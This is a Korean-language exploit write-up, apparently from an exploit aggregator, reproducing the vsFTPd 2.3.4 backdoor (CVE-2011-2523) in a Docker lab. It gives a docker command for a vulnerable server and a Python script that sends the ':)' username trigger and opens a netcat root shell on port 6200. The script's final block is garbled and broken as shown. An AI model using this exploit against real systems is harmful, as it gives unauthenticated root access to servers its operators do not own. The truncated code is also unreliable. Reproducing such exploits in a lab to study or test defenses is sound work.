Exploit for OS Command Injection in Vsftpd_Project Vsftpd CVE-2011-2523

## https://sploitus.com/exploit?id=CC3F6C15-182F-53F6-A5CC-812D37F1F047
# vsFTPd 2.3.4 백도어 취약점(CVE-2011-2523) 재현

## 취약점 정보

[CVE-2011-2523](https://nvd.nist.gov/vuln/detail/CVE-2011-2523)은 vsFTPd 2.3.4 버전에 존재하는 **백도어 취약점**입니다. 이 취약점은 공격자가 FTP 서버에 특정 사용자 이름(`:)` 포함)을 전송하면 **포트 6200**에서 **루트 권한 쉘**을 열 수 있게 합니다. 이는 개발자가 의도적으로 삽입한 백도어로, 인증 없이 시스템에 접근 가능해 매우 치명적입니다. 이 취약점은 2011년 발견되어 패치(vsFTPd 2.3.5 이상)되었으며, 공식 아카이브에서는 제거되었지만, 테스트용으로 재현 가능합니다.

## 시나리오

1. 공격자가 vsFTPd 2.3.4 서비스에 사용자 이름(예: AAAA:))을 포함한 자격 증명을 요청합니다.
2. 서버가 백도어를 트리거하여 **포트 6200/TCP**에서 루트 권한 쉘을 엽니다.
3. 공격자가 netcat(nc)으로 포트 6200에 연결해 시스템 제어권을 획득합니다.

## 재현 환경 설정

공식 vsFTPd 2.3.4 아카이브는 제거되었지만, [GitHub repository](https://github.com/clintmint/vsftpd-2.3.4-container)를 활용해 Docker로 취약한 서버를 구축할 수 있습니다.

### 1. 취약점 서버 구동

``` shell
docker run --name victim -p 21:21 -p 6200:6200 -it clintmint/vsftpd-2.3.4:1.0 sh -c "start-vsftpd && sh"
```

- -p 21:21: FTP 서비스 포트 매핑.
- -p 6200:6200: 백도어 쉘 포트 매핑.
- start-vsftpd: vsFTPd 서비스 시작.
### 2. 익스플로잇 구현

이 취약점은 트리거 조건이 단순합니다.
사용자 이름에 `:)`를 포함하고, 임의 비밀번호로 FTP 요청 후 포트 6200에 연결하면 셸을 획득 할 수 있습니다.
아래는 Python으로 구현한 익스플로잇 코드입니다.

``` python
import socket  
import subprocess  
import time  
import sys  
  
def exploit(ip, port = 21):  
  _socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
  _socket.settimeout(5)  
  _socket.connect((ip, int(port)))  
  _socket.recv(4096)  
  _socket.send(b"USER AAAA:)\r\n")  
  _socket.recv(4096)  
  _socket.send(b"PASS anything\r\n")  
  _socket.close()  
  
def connect_shell(ip):  
  try:  
    subprocess.run(["nc", ip, "6200"])  
  except KeyboardInterrupt:  
    print("\nInterrupted by user.")  
  
if __name__ == "__main__":  
  if len(sys.argv)  2 else 21)  
  time.sleep(1)  
  connect_shell(sys.argv[1])
```